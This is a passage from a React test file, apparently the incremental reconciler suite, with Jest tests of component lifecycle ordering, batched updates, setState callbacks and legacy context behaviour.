/>,\n        <Bar key=\"b\" x=\"B\" step={props.step} />,\n      ];\n    }\n\n    ReactNoop.render(\n      <div>\n        <Foo step={0} />\n        <Baz />\n        <Baz />\n      </div>,\n    );\n    await waitForAll([]);\n\n    // Flush part way through with new props, fully completing the first Bar.\n    // However, it doesn't commit yet.\n    ReactNoop.render(\n      <div>\n        <Foo step={1} />\n        <Baz />\n        <Baz />\n      </div>,\n    );\n    ReactNoop.flushDeferredPri(45);\n    assertLog(['Foo', 'Bar:A-1', 'Bar:B-1', 'Baz']);\n\n    // Make an update to the same Bar.\n    instances[0].performAction();\n\n    await waitForAll(['Bar:A-1', 'Baz']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('calls componentWillMount twice if the initial render is aborted', async () => {\n    class LifeCycle extends React.Component {\n      state = {x: this.props.x};\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log(\n          'componentWillReceiveProps:' + this.state.x + '-' + nextProps.x,\n        );\n        this.setState({x: nextProps.x});\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log(\n          'componentWillMount:' + this.state.x + '-' + this.props.x,\n        );\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount:' + this.state.x + '-' + this.props.x);\n      }\n      render() {\n        return <span />;\n      }\n    }\n\n    function Trail() {\n      Scheduler.log('Trail');\n      return null;\n    }\n\n    function App(props) {\n      Scheduler.log('App');\n      return (\n        <div>\n          <LifeCycle x={props.x} />\n          <Trail />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<App x={0} />);\n    ReactNoop.flushDeferredPri(30);\n\n    assertLog(['App', 'componentWillMount:0-0']);\n\n    ReactNoop.render(<App x={1} />);\n    await waitForAll([\n      'App',\n      'componentWillReceiveProps:0-1',\n      'componentWillMount:1-1',\n      'Trail',\n      'componentDidMount:1-1',\n    ]);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('uses state set in componentWillMount even if initial render was aborted', async () => {\n    class LifeCycle extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {x: this.props.x + '(ctor)'};\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('componentWillMount:' + this.state.x);\n        this.setState({x: this.props.x + '(willMount)'});\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount:' + this.state.x);\n      }\n      render() {\n        Scheduler.log('render:' + this.state.x);\n        return <span />;\n      }\n    }\n\n    function App(props) {\n      Scheduler.log('App');\n      return <LifeCycle x={props.x} />;\n    }\n\n    ReactNoop.render(<App x={0} />);\n    ReactNoop.flushDeferredPri(20);\n\n    assertLog(['App', 'componentWillMount:0(ctor)', 'render:0(willMount)']);\n\n    ReactNoop.render(<App x={1} />);\n    await waitForAll([\n      'App',\n      'componentWillMount:0(willMount)',\n      'render:1(willMount)',\n      'componentDidMount:1(willMount)',\n    ]);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('calls componentWill* twice if an update render is aborted', async () => {\n    class LifeCycle extends React.Component {\n      UNSAFE_componentWillMount() {\n        Scheduler.log('componentWillMount:' + this.props.x);\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount:' + this.props.x);\n      }\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log(\n          'componentWillReceiveProps:' + this.props.x + '-' + nextProps.x,\n        );\n      }\n      shouldComponentUpdate(nextProps) {\n        Scheduler.log(\n          'shouldComponentUpdate:' + this.props.x + '-' + nextProps.x,\n        );\n        return true;\n      }\n      UNSAFE_componentWillUpdate(nextProps) {\n        Scheduler.log(\n          'componentWillUpdate:' + this.props.x + '-' + nextProps.x,\n        );\n      }\n      componentDidUpdate(prevProps) {\n        Scheduler.log('componentDidUpdate:' + this.props.x + '-' + prevProps.x);\n      }\n      render() {\n        Scheduler.log('render:' + this.props.x);\n        return <span />;\n      }\n    }\n\n    function Sibling() {\n      // The sibling is used to confirm that we've completed the first child,\n      // but not yet flushed.\n      Scheduler.log('Sibling');\n      return <span />;\n    }\n\n    function App(props) {\n      Scheduler.log('App');\n\n      return [<LifeCycle key=\"a\" x={props.x} />, <Sibling key=\"b\" />];\n    }\n\n    ReactNoop.render(<App x={0} />);\n    await waitForAll([\n      'App',\n      'componentWillMount:0',\n      'render:0',\n      'Sibling',\n      'componentDidMount:0',\n    ]);\n\n    ReactNoop.render(<App x={1} />);\n    ReactNoop.flushDeferredPri(30);\n\n    assertLog([\n      'App',\n      'componentWillReceiveProps:0-1',\n      'shouldComponentUpdate:0-1',\n      'componentWillUpdate:0-1',\n      'render:1',\n      'Sibling',\n      // no componentDidUpdate\n    ]);\n\n    ReactNoop.render(<App x={2} />);\n    await waitForAll([\n      'App',\n      'componentWillReceiveProps:1-2',\n      'shouldComponentUpdate:1-2',\n      'componentWillUpdate:1-2',\n      'render:2',\n      'Sibling',\n      // When componentDidUpdate finally gets called, it covers both updates.\n      'componentDidUpdate:2-0',\n    ]);\n  });\n\n  it('calls getDerivedStateFromProps even for state-only updates', async () => {\n    let instance;\n\n    class LifeCycle extends React.Component {\n      state = {};\n      static getDerivedStateFromProps(props, prevState) {\n        Scheduler.log('getDerivedStateFromProps');\n        return {foo: 'foo'};\n      }\n      changeState() {\n        this.setState({foo: 'bar'});\n      }\n      componentDidUpdate() {\n        Scheduler.log('componentDidUpdate');\n      }\n      render() {\n        Scheduler.log('render');\n        instance = this;\n        return null;\n      }\n    }\n\n    ReactNoop.render(<LifeCycle />);\n    await waitForAll(['getDerivedStateFromProps', 'render']);\n    expect(instance.state).toEqual({foo: 'foo'});\n\n    instance.changeState();\n    await waitForAll([\n      'getDerivedStateFromProps',\n      'render',\n      'componentDidUpdate',\n    ]);\n    expect(instance.state).toEqual({foo: 'foo'});\n  });\n\n  it('does not call getDerivedStateFromProps if neither state nor props have changed', async () => {\n    class Parent extends React.Component {\n      state = {parentRenders: 0};\n      static getDerivedStateFromProps(props, prevState) {\n        Scheduler.log('getDerivedStateFromProps');\n        return prevState.parentRenders + 1;\n      }\n      render() {\n        Scheduler.log('Parent');\n        return <Child parentRenders={this.state.parentRenders} ref={child} />;\n      }\n    }\n\n    class Child extends React.Component {\n      render() {\n        Scheduler.log('Child');\n        return this.props.parentRenders;\n      }\n    }\n\n    const child = React.createRef(null);\n    ReactNoop.render(<Parent />);\n    await waitForAll(['getDerivedStateFromProps', 'Parent', 'Child']);\n\n    // Schedule an update on the child. The parent should not re-render.\n    child.current.setState({});\n    await waitForAll(['Child']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('does not call componentWillReceiveProps for state-only updates', async () => {\n    const instances = [];\n\n    class LifeCycle extends React.Component {\n      state = {x: 0};\n      tick() {\n        this.setState({\n          x: this.state.x + 1,\n        });\n      }\n      UNSAFE_componentWillMount() {\n        instances.push(this);\n        Scheduler.log('componentWillMount:' + this.state.x);\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount:' + this.state.x);\n      }\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log('componentWillReceiveProps');\n      }\n      shouldComponentUpdate(nextProps, nextState) {\n        Scheduler.log(\n          'shouldComponentUpdate:' + this.state.x + '-' + nextState.x,\n        );\n        return true;\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState) {\n        Scheduler.log(\n          'componentWillUpdate:' + this.state.x + '-' + nextState.x,\n        );\n      }\n      componentDidUpdate(prevProps, prevState) {\n        Scheduler.log('componentDidUpdate:' + this.state.x + '-' + prevState.x);\n      }\n      render() {\n        Scheduler.log('render:' + this.state.x);\n        return <span />;\n      }\n    }\n\n    // This wrap is a bit contrived because we can't pause a completed root and\n    // there is currently an issue where a component can't reuse its render\n    // output unless it fully completed.\n    class Wrap extends React.Component {\n      state = {y: 0};\n      UNSAFE_componentWillMount() {\n        instances.push(this);\n      }\n      tick() {\n        this.setState({\n          y: this.state.y + 1,\n        });\n      }\n      render() {\n        Scheduler.log('Wrap');\n        return <LifeCycle y={this.state.y} />;\n      }\n    }\n\n    function Sibling() {\n      // The sibling is used to confirm that we've completed the first child,\n      // but not yet flushed.\n      Scheduler.log('Sibling');\n      return <span />;\n    }\n\n    function App(props) {\n      Scheduler.log('App');\n      return [<Wrap key=\"a\" />, <Sibling key=\"b\" />];\n    }\n\n    ReactNoop.render(<App y={0} />);\n    await waitForAll([\n      'App',\n      'Wrap',\n      'componentWillMount:0',\n      'render:0',\n      'Sibling',\n      'componentDidMount:0',\n    ]);\n\n    // LifeCycle\n    instances[1].tick();\n\n    ReactNoop.flushDeferredPri(25);\n\n    assertLog([\n      // no componentWillReceiveProps\n      'shouldComponentUpdate:0-1',\n      'componentWillUpdate:0-1',\n      'render:1',\n      // no componentDidUpdate\n    ]);\n\n    // LifeCycle\n    instances[1].tick();\n\n    await waitForAll([\n      // no componentWillReceiveProps\n      'shouldComponentUpdate:1-2',\n      'componentWillUpdate:1-2',\n      'render:2',\n      // When componentDidUpdate finally gets called, it covers both updates.\n      'componentDidUpdate:2-0',\n    ]);\n\n    // Next we will update props of LifeCycle by updating its parent.\n\n    instances[0].tick();\n\n    ReactNoop.flushDeferredPri(30);\n\n    assertLog([\n      'Wrap',\n      'componentWillReceiveProps',\n      'shouldComponentUpdate:2-2',\n      'componentWillUpdate:2-2',\n      'render:2',\n      // no componentDidUpdate\n    ]);\n\n    // Next we will update LifeCycle directly but not with new props.\n    instances[1].tick();\n\n    await waitForAll([\n      // This should not trigger another componentWillReceiveProps because\n      // we never got new props.\n      'shouldComponentUpdate:2-3',\n      'componentWillUpdate:2-3',\n      'render:3',\n      'componentDidUpdate:3-2',\n    ]);\n\n    // TODO: Test that we get the expected values for the same scenario with\n    // incomplete parents.\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('skips will/DidUpdate when bailing unless an update was already in progress', async () => {\n    class LifeCycle extends React.Component {\n      UNSAFE_componentWillMount() {\n        Scheduler.log('componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log('componentWillReceiveProps');\n      }\n      shouldComponentUpdate(nextProps) {\n        Scheduler.log('shouldComponentUpdate');\n        // Bail\n        return this.props.x !== nextProps.x;\n      }\n      UNSAFE_componentWillUpdate(nextProps) {\n        Scheduler.log('componentWillUpdate');\n      }\n      componentDidUpdate(prevProps) {\n        Scheduler.log('componentDidUpdate');\n      }\n      render() {\n        Scheduler.log('render');\n        return <span />;\n      }\n    }\n\n    function Sibling() {\n      Scheduler.log('render sibling');\n      return <span />;\n    }\n\n    function App(props) {\n      return [<LifeCycle key=\"a\" x={props.x} />, <Sibling key=\"b\" />];\n    }\n\n    ReactNoop.render(<App x={0} />);\n    await waitForAll([\n      'componentWillMount',\n      'render',\n      'render sibling',\n      'componentDidMount',\n    ]);\n\n    // Update to same props\n    ReactNoop.render(<App x={0} />);\n    await waitForAll([\n      'componentWillReceiveProps',\n      'shouldComponentUpdate',\n      // no componentWillUpdate\n      // no render\n      'render sibling',\n      // no componentDidUpdate\n    ]);\n\n    // Begin updating to new props...\n    ReactNoop.render(<App x={1} />);\n    ReactNoop.flushDeferredPri(30);\n\n    assertLog([\n      'componentWillReceiveProps',\n      'shouldComponentUpdate',\n      'componentWillUpdate',\n      'render',\n      'render sibling',\n      // no componentDidUpdate yet\n    ]);\n\n    // ...but we'll interrupt it to rerender the same props.\n    ReactNoop.render(<App x={1} />);\n    await waitForAll([]);\n\n    // We can bail out this time, but we must call componentDidUpdate.\n    assertLog([\n      'componentWillReceiveProps',\n      'shouldComponentUpdate',\n      // no componentWillUpdate\n      // no render\n      'render sibling',\n      'componentDidUpdate',\n    ]);\n  });\n\n  it('can nest batchedUpdates', async () => {\n    let instance;\n\n    class Foo extends React.Component {\n      state = {n: 0};\n      render() {\n        instance = this;\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.batchedUpdates(() => {\n        instance.setState({n: 1}, () => Scheduler.log('setState 1'));\n        instance.setState({n: 2}, () => Scheduler.log('setState 2'));\n        ReactNoop.batchedUpdates(() => {\n          instance.setState({n: 3}, () => Scheduler.log('setState 3'));\n          instance.setState({n: 4}, () => Scheduler.log('setState 4'));\n          Scheduler.log('end inner batchedUpdates');\n        });\n        Scheduler.log('end outer batchedUpdates');\n      });\n    });\n\n    // ReactNoop.flush() not needed because updates are synchronous\n\n    assertLog([\n      'end inner batchedUpdates',\n      'end outer batchedUpdates',\n      'setState 1',\n      'setState 2',\n      'setState 3',\n      'setState 4',\n    ]);\n    expect(instance.state.n).toEqual(4);\n  });\n\n  it('can handle if setState callback throws', async () => {\n    let instance;\n\n    class Foo extends React.Component {\n      state = {n: 0};\n      render() {\n        instance = this;\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n\n    function updater({n}) {\n      return {n: n + 1};\n    }\n\n    instance.setState(updater, () => Scheduler.log('first callback'));\n    instance.setState(updater, () => {\n      Scheduler.log('second callback');\n      throw new Error('callback error');\n    });\n    instance.setState(updater, () => Scheduler.log('third callback'));\n\n    await waitForThrow('callback error');\n\n    // The third callback isn't called because the second one throws\n    assertLog(['first callback', 'second callback']);\n    expect(instance.state.n).toEqual(3);\n  });\n\n  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents\n  it('merges and masks context', async () => {\n    class Intl extends React.Component {\n      static childContextTypes = {\n        locale: PropTypes.string,\n      };\n      getChildContext() {\n        return {\n          locale: this.props.locale,\n        };\n      }\n      render() {\n        Scheduler.log('Intl ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    class Router extends React.Component {\n      static childContextTypes = {\n        route: PropTypes.string,\n      };\n      getChildContext() {\n        return {\n          route: this.props.route,\n        };\n      }\n      render() {\n        Scheduler.log('Router ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    class ShowLocale extends React.Component {\n      static contextTypes = {\n        locale: PropTypes.string,\n      };\n      render() {\n        Scheduler.log('ShowLocale ' + JSON.stringify(this.context));\n        return this.context.locale;\n      }\n    }\n\n    class ShowRoute extends React.Component {\n      static contextTypes = {\n        route: PropTypes.string,\n      };\n      render() {\n        Scheduler.log('ShowRoute ' + JSON.stringify(this.context));\n        return this.context.route;\n      }\n    }\n\n    function ShowBoth(props, context) {\n      Scheduler.log('ShowBoth ' + JSON.stringify(context));\n      return `${context.route} in ${context.locale}`;\n    }\n    ShowBoth.contextTypes = {\n      locale: PropTypes.string,\n      route: PropTypes.string,\n    };\n\n    class ShowNeither extends React.Component {\n      render() {\n        Scheduler.log('ShowNeither ' + JSON.stringify(this.context));\n        return null;\n      }\n    }\n\n    class Indirection extends React.Component {\n      render() {\n        Scheduler.log('Indirection ' + JSON.stringify(this.context));\n        return [\n          <ShowLocale key=\"a\" />,\n          <ShowRoute key=\"b\" />,\n          <ShowNeither key=\"c\" />,\n          <Intl key=\"d\" locale=\"ru\">\n            <ShowBoth />\n          </Intl>,\n          <ShowBoth key=\"e\" />,\n        ];\n      }\n    }\n\n    ReactNoop.render(\n      <Intl locale=\"fr\">\n        <ShowLocale />\n        <div>\n          <ShowBoth />\n        </div>\n      </Intl>,\n    );\n    await waitForAll([\n      'Intl {}',\n      'ShowLocale {\"locale\":\"fr\"}',\n      'ShowBoth {\"locale\":\"fr\"}',\n    ]);\n    assertConsoleErrorDev([\n      'Intl uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Intl (at **)',\n      'ShowLocale uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowLocale (at **)',\n      'ShowBoth uses the legacy contextTypes API which will be removed soon. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowBoth (at **)',\n    ]);\n\n    ReactNoop.render(\n      <Intl locale=\"de\">\n        <ShowLocale />\n        <div>\n          <ShowBoth />\n        </div>\n      </Intl>,\n    );\n    await waitForAll([\n      'Intl {}',\n      'ShowLocale {\"locale\":\"de\"}',\n      'ShowBoth {\"locale\":\"de\"}',\n    ]);\n    React.startTransition(() => {\n      ReactNoop.render(\n        <Intl locale=\"sv\">\n          <ShowLocale />\n          <div>\n            <ShowBoth />\n          </div>\n        </Intl>,\n      );\n    });\n    await waitFor(['Intl {}']);\n\n    ReactNoop.render(\n      <Intl locale=\"en\">\n        <ShowLocale />\n        <Router route=\"/about\">\n          <Indirection />\n        </Router>\n        <ShowBoth />\n      </Intl>,\n    );\n    await waitForAll([\n      'ShowLocale {\"locale\":\"sv\"}',\n      'ShowBoth {\"locale\":\"sv\"}',\n      'Intl {}',\n      'ShowLocale {\"locale\":\"en\"}',\n      'Router {}',\n      'Indirection {}',\n      'ShowLocale {\"locale\":\"en\"}',\n      'ShowRoute {\"route\":\"/about\"}',\n      'ShowNeither {}',\n      'Intl {}',\n      'ShowBoth {\"locale\":\"ru\",\"route\":\"/about\"}',\n      'ShowBoth {\"locale\":\"en\",\"route\":\"/about\"}',\n      'ShowBoth {\"locale\":\"en\"}',\n    ]);\n    assertConsoleErrorDev([\n      'Router uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Router (at **)',\n      'ShowRoute uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Indirection (at **)',\n    ]);\n  });\n\n  // @gate !disableLegacyContext\n  it('does not leak own context into context provider', async () => {\n    if (gate(flags => flags.disableLegacyContext)) {\n      throw new Error('This test infinite loops when context is disabled.');\n    }\n    class Recurse extends React.Component {\n      static contextTypes = {\n        n: PropTypes.number,\n      };\n      static childContextTypes = {\n        n: PropTypes.number,\n      };\n      getChildContext() {\n        return {n: (this.context.n || 3) - 1};\n      }\n      render() {\n        Scheduler.log('Recurse ' + JSON.stringify(this.context));\n        if (this.context.n === 0) {\n          return null;\n        }\n        return <Recurse />;\n      }\n    }\n\n    ReactNoop.render(<Recurse />);\n    await waitForAll([\n      'Recurse {}',\n      'Recurse {\"n\":2}',\n      'Recurse {\"n\":1}',\n      'Recurse {\"n\":0}',\n    ]);\n    assertConsoleErrorDev([\n      'Recurse uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Recurse (at **)',\n      'Recurse uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Recurse (at **)',\n    ]);\n  });\n\n  // @gate enableLegacyHidden && !disableLegacyContext\n  it('provides context when reusing work', async () => {\n    class Intl extends React.Component {\n      static childContextTypes = {\n        locale: PropTypes.string,\n      };\n      getChildContext() {\n        return {\n          locale: this.props.locale,\n        };\n      }\n      render() {\n        Scheduler.log('Intl ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    class ShowLocale extends React.Component {\n      static contextTypes = {\n        locale: PropTypes.string,\n      };\n      render() {\n        Scheduler.log('ShowLocale ' + JSON.stringify(this.context));\n        return this.context.locale;\n      }\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <Intl locale=\"fr\">\n          <ShowLocale />\n          <LegacyHiddenDiv mode=\"hidden\">\n            <ShowLocale />\n            <Intl locale=\"ru\">\n              <ShowLocale />\n            </Intl>\n          </LegacyHiddenDiv>\n          <ShowLocale />\n        </Intl>,\n      );\n    });\n\n    await waitFor([\n      'Intl {}',\n      'ShowLocale {\"locale\":\"fr\"}',\n      'ShowLocale {\"locale\":\"fr\"}',\n    ]);\n    assertConsoleErrorDev([\n      'Intl uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Intl (at **)',\n      'ShowLocale uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowLocale (at **)',\n    ]);\n\n    await waitForAll([\n      'ShowLocale {\"locale\":\"fr\"}',\n      'Intl {}',\n      'ShowLocale {\"locale\":\"ru\"}',\n    ]);\n  });\n\n  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents\n  it('reads context when setState is below the provider', async () => {\n    let statefulInst;\n\n    class Intl extends React.Component {\n      static childContextTypes = {\n        locale: PropTypes.string,\n      };\n      getChildContext() {\n        const childContext = {\n          locale: this.props.locale,\n        };\n        Scheduler.log('Intl:provide ' + JSON.stringify(childContext));\n        return childContext;\n      }\n      render() {\n        Scheduler.log('Intl:read ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    class ShowLocaleClass extends React.Component {\n      static contextTypes = {\n        locale: PropTypes.string,\n      };\n      render() {\n        Scheduler.log('ShowLocaleClass:read ' + JSON.stringify(this.context));\n        return this.context.locale;\n      }\n    }\n\n    function ShowLocaleFn(props, context) {\n      Scheduler.log('ShowLocaleFn:read ' + JSON.stringify(context));\n      return context.locale;\n    }\n    ShowLocaleFn.contextTypes = {\n      locale: PropTypes.string,\n    };\n\n    class Stateful extends React.Component {\n      state = {x: 0};\n      render() {\n        statefulInst = this;\n        return this.props.children;\n      }\n    }\n\n    function IndirectionFn(props, context) {\n      Scheduler.log('IndirectionFn ' + JSON.stringify(context));\n      return props.children;\n    }\n\n    class IndirectionClass extends React.Component {\n      render() {\n        Scheduler.log('IndirectionClass ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    ReactNoop.render(\n      <Intl locale=\"fr\">\n        <IndirectionFn>\n          <IndirectionClass>\n            <Stateful>\n              <ShowLocaleClass />\n              <ShowLocaleFn />\n            </Stateful>\n          </IndirectionClass>\n        </IndirectionFn>\n      </Intl>,\n    );\n    await waitForAll([\n      'Intl:read {}',\n      'Intl:provide {\"locale\":\"fr\"}',\n      'IndirectionFn {}',\n      'IndirectionClass {}',\n      'ShowLocaleClass:read {\"locale\":\"fr\"}',\n      'ShowLocaleFn:read {\"locale\":\"fr\"}',\n    ]);\n    assertConsoleErrorDev([\n      'Intl uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Intl (at **)',\n      'ShowLocaleClass uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowLocaleClass (at **)',\n      'ShowLocaleFn uses the legacy contextTypes API which will be removed soon. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowLocaleFn (at **)',\n    ]);\n\n    statefulInst.setState({x: 1});\n    await waitForAll([]);\n    // All work has been memoized because setState()\n    // happened below the context and could not have affected it.\n    assertLog([]);\n  });\n\n  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents\n  it('reads context when setState is above the provider', async () => {\n    let statefulInst;\n\n    class Intl extends React.Component {\n      static childContextTypes = {\n        locale: PropTypes.string,\n      };\n      getChildContext() {\n        const childContext = {\n          locale: this.props.locale,\n        };\n        Scheduler.log('Intl:provide ' + JSON.stringify(childContext));\n        return childContext;\n      }\n      render() {\n        Scheduler.log('Intl:read ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    class ShowLocaleClass extends React.Component {\n      static contextTypes = {\n        locale: PropTypes.string,\n      };\n      render() {\n        Scheduler.log('ShowLocaleClass:read ' + JSON.stringify(this.context));\n        return this.context.locale;\n      }\n    }\n\n    function ShowLocaleFn(props, context) {\n      Scheduler.log('ShowLocaleFn:read ' + JSON.stringify(context));\n      return context.locale;\n    }\n    ShowLocaleFn.contextTypes = {\n      locale: PropTypes.string,\n    };\n\n    function IndirectionFn(props, context) {\n      Scheduler.log('IndirectionFn ' + JSON.stringify(context));\n      return props.children;\n    }\n\n    class IndirectionClass extends React.Component {\n      render() {\n        Scheduler.log('IndirectionClass ' + JSON.stringify(this.context));\n        return this.props.children;\n      }\n    }\n\n    class Stateful extends React.Component {\n      state = {locale: 'fr'};\n      render() {\n        statefulInst = this;\n        return <Intl locale={this.state.locale}>{this.props.children}</Intl>;\n      }\n    }\n\n    ReactNoop.render(\n      <Stateful>\n        <IndirectionFn>\n          <IndirectionClass>\n            <ShowLocaleClass />\n            <ShowLocaleFn />\n          </IndirectionClass>\n        </IndirectionFn>\n      </Stateful>,\n    );\n    await waitForAll([\n      'Intl:read {}',\n      'Intl:provide {\"locale\":\"fr\"}',\n      'IndirectionFn {}',\n      'IndirectionClass {}',\n      'ShowLocaleClass:read {\"locale\":\"fr\"}',\n      'ShowLocaleFn:read {\"locale\":\"fr\"}',\n    ]);\n\n    assertConsoleErrorDev([\n      'Intl uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Stateful (at **)',\n      'ShowLocaleClass uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowLocaleClass (at **)',\n\n      'ShowLocaleFn uses the legacy contextTypes API which will be removed soon. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ShowLocaleFn (at **)',\n    ]);\n\n    statefulInst.setState({locale: 'gr'});\n    await waitForAll([\n      // Intl is below setState() so it might have been\n      // affected by it. Therefore we re-render and recompute\n      // its child context.\n      'Intl:read {}',\n      'Intl:provide {\"locale\":\"gr\"}',\n      // TODO: it's unfortunate that we can't reuse work on\n      // these components even though they don't depend on context.\n      'IndirectionFn {}',\n      'IndirectionClass {}',\n      // These components depend on context:\n      'ShowLocaleClass:read {\"locale\":\"gr\"}',\n      'ShowLocaleFn:read {\"locale\":\"gr\"}',\n    ]);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  it('maintains the correct context when providers bail out due to low priority', async () => {\n    class Root extends React.Component {\n      render() {\n        return <Middle {...this.props} />;\n      }\n    }\n\n    let instance;\n\n    class Middle extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        instance = this;\n      }\n      shouldComponentUpdate() {\n        // Return false so that our child will get a NoWork priority (and get bailed out)\n        return false;\n      }\n      render() {\n        return <Child />;\n      }\n    }\n\n    // Child must be a context provider to trigger the bug\n    class Child extends React.Component {\n      static childContextTypes = {};\n      getChildContext() {\n        return {};\n      }\n      render() {\n        return <div />;\n      }\n    }\n\n    // Init\n    ReactNoop.render(<Root />);\n    await waitForAll([]);\n\n    assertConsoleErrorDev([\n      'Child uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Middle (at **)\\n' +\n        '    in Root (at **)',\n    ]);\n\n    // Trigger an update in the middle of the tree\n    instance.setState({});\n    await waitForAll([]);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  it('maintains the correct context when unwinding due to an error in render', async () => {\n    class Root extends React.Component {\n      componentDidCatch(error) {\n        // If context is pushed/popped correctly,\n        // This method will be used to handle the intentionally-thrown Error.\n      }\n      render() {\n        return <ContextProvider depth={1} />;\n      }\n    }\n\n    let instance;\n\n    class ContextProvider extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this.state = {};\n        if (props.depth === 1) {\n          instance = this;\n        }\n      }\n      static childContextTypes = {};\n      getChildContext() {\n        return {};\n      }\n      render() {\n        if (this.state.throwError) {\n          throw Error();\n        }\n        return this.props.depth < 4 ? (\n          <ContextProvider depth={this.props.depth + 1} />\n        ) : (\n          <div />\n        );\n      }\n    }\n\n    // Init\n    ReactNoop.render(<Root />);\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'ContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Root (at **)',\n    ]);\n\n    // Trigger an update in the middle of the tree\n    // This is necessary to reproduce the error as it currently exists.\n    instance.setState({\n      throwError: true,\n    });\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Root: Error boundaries should implement getDerivedStateFromError(). ' +\n        'In that method, return a state update to display an error message or fallback UI.\\n' +\n        '    in Root (at **)',\n    ]);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  it('should not recreate masked context unless inputs have changed', async () => {\n    let scuCounter = 0;\n\n    class MyComponent extends React.Component {\n      static contextTypes = {};\n      componentDidMount(prevProps, prevState) {\n        Scheduler.log('componentDidMount');\n        this.setState({setStateInCDU: true});\n      }\n      componentDidUpdate(prevProps, prevState) {\n        Scheduler.log('componentDidUpdate');\n        if (this.state.setStateInCDU) {\n          this.setState({setStateInCDU: false});\n        }\n      }\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log('componentWillReceiveProps');\n        this.setState({setStateInCDU: true});\n      }\n      render() {\n        Scheduler.log('render');\n        return null;\n      }\n      shouldComponentUpdate(nextProps, nextState) {\n        Scheduler.log('shouldComponentUpdate');\n        return scuCounter++ < 5; // Don't let test hang\n      }\n    }\n\n    ReactNoop.render(<MyComponent />);\n    await waitForAll([\n      'render',\n      'componentDidMount',\n      'shouldComponentUpdate',\n      'render',\n      'componentDidUpdate',\n      'shouldComponentUpdate',\n      'render',\n      'componentDidUpdate',\n    ]);\n\n    assertConsoleErrorDev([\n      'MyComponent uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in MyComponent (at **)',\n    ]);\n  });\n\n  // 